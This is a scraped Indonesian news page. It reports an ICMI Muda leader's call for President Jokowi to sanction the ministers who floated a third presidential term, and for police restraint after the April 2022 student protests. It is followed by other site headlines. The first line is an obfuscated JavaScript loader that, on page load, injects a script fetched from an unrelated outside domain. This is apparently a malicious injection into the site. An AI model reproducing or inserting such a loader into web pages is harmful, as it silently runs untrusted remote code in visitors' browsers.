(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Aksi Demo Berakhir Ricuh, Jokowi Harus Evaluasi Menteri ‘Pelopor’ Isu 3 Periode


KANALKALIMANTAN.COM, JAKARTA – Ketua Ikatan Cendekiawan Muslim Indonesia (ICMI) Muda Pusat, Tumpal Panggabean memberikan tanggapan mengenai aksi demo soal penolakan penundaan Pemilu dan presiden 3 periode.

Ia meminta kepada Presiden Joko Widodo (Jokowi) untuk mengevaluasi para menterinya terkait isu yang menghebohkan publik.

Pasalnya, isu penundaan pemilu atau presiden 3 periode tersebut muncul dari menteri Jokowi.

Menteri-menteri Jokowi tersebut seakan memancing soal isu perpanjangan tiga periode.

 

 

Oleh karena itu, Tumpal mendesak Jokowi untuk memberikan sanksi kepada ‘pelopor’ isu tersebut.

Baca juga: Polantas AKP Rudi Wira Dikeroyok Massa saat Demo DPR, Ini Kronologinya

“Presiden Jokowi harus memberi sanksi yang membuat keonaran, menteri-menteri yang memancing soal perpanjangan tiga periode,” kata Tumpal, seperti dikutip dari wartaekonomi -jaringan Suara.com-, Selasa (12/4/2022).

Tak hanya itu, Tumpal juga meminta agar Jokowi mengevaluasi Luhut.

Massa tetlibat ricuh dengan polisi di depan gedung DPR RI, Senin (11/4/2022). Foto: suara.com/angga budhiyanto

“Presiden juga harus mengevaluasi Luhut yang menyebut mempunyai big data rakyat Indonesia yang menginginkan tiga periode,” imbuhnya.

Pasalnya, Tumpal menyebut aksi demo yang dilakukan mahasiswa merupakan representasi keresahan masyarakat.

Tuntutan dari mahasiswa tersebut harusnya direspon oleh pemerintah.

“Terkait demo hari ini adik-adik mahasiswa adalah sesuatu yang sangat wajar karena memang keresahan mahasiswa itu adalah keresahan masyarakat. Jadi, pemerintah jangan alergi terhadap aksi hari ini, pemerintah justru harus meresponsnya dengan mengevaluasi dan menginstropeksi kinerja mereka (menteri-menteri),” jelasnya.

Baca juga: FAKTA Demo 11 April: 4 Tuntutan Mahasiswa hingga Insiden Ade Armando Babak Belur

Selain itu, ia meminta kepada Kapolri Jenderal Listyo Sigit Prabowo agar jajarannya tidak represif dalam melakukan pengamanan aksi.

“Tolonglah pak polisi, Pak Kapolri perintahkan anggotanya jangan represif terhadap adik-adik mahasiswa, coba berupaya melakukan upaya persuasif agar tidak terus terjadi benturan antara mahasiswa yang aksi dengan kepolisian,” pungkasnya. (Suara.com)

Editor : kk


Risa

Recent Posts

Banmus DPRD Kapuas Susun Kegiatan Masa Persidangan Kedua

KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menggelar rapat Badan Musyawarah… Read More

2 jam ago

Festival Hasil Panen Belajar Program Guru Penggerak di HSU

KANALKALIMANTAN.COM, AMUNTAI - Puluhan hasil karya ditampilkan dalam Festival Hasil Panen Belajar Lokakarya 7 Program… Read More

2 jam ago

Bawaslu Kalsel Buka Seleksi Panwascam, Pengawas Lama Tak Penuhi Syarat Diganti

KANALKALIMANTAN.COM, BANJARMASIN - Badan Pengawas Pemilihan Umum (Bawaslu) Provinsi Kalimantan Selatan membuka rekrutmen pengawas ad… Read More

3 jam ago

Sekretariat DPRD Kapuas Ikut Meriahkan Pawai Budaya

KANALKALIMANTAN.COM, KUALA KAPUAS - Pawai budaya rangkaian memeriahkan Hari Jadi ke-218 Kota Kuala Kapuas dan… Read More

3 jam ago

Opsi Lain Maju Pilkada Banjarbaru, Minimal Kantongi 19.061 KTP Dukungan

KANALKALIMANTAN.COM, BANJARBARU -Komisi Pemilihan Umum (KPU) Kota Banjarbaru akan memulai tahapan penyelenggaraan Pilkada dengan membuka pemenuhan… Read More

3 jam ago

Peringati Hari Kartini, Ini Pesan Pj Bupati HSU

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menghadiri peringatan Hari… Read More

5 jam ago

This website uses cookies.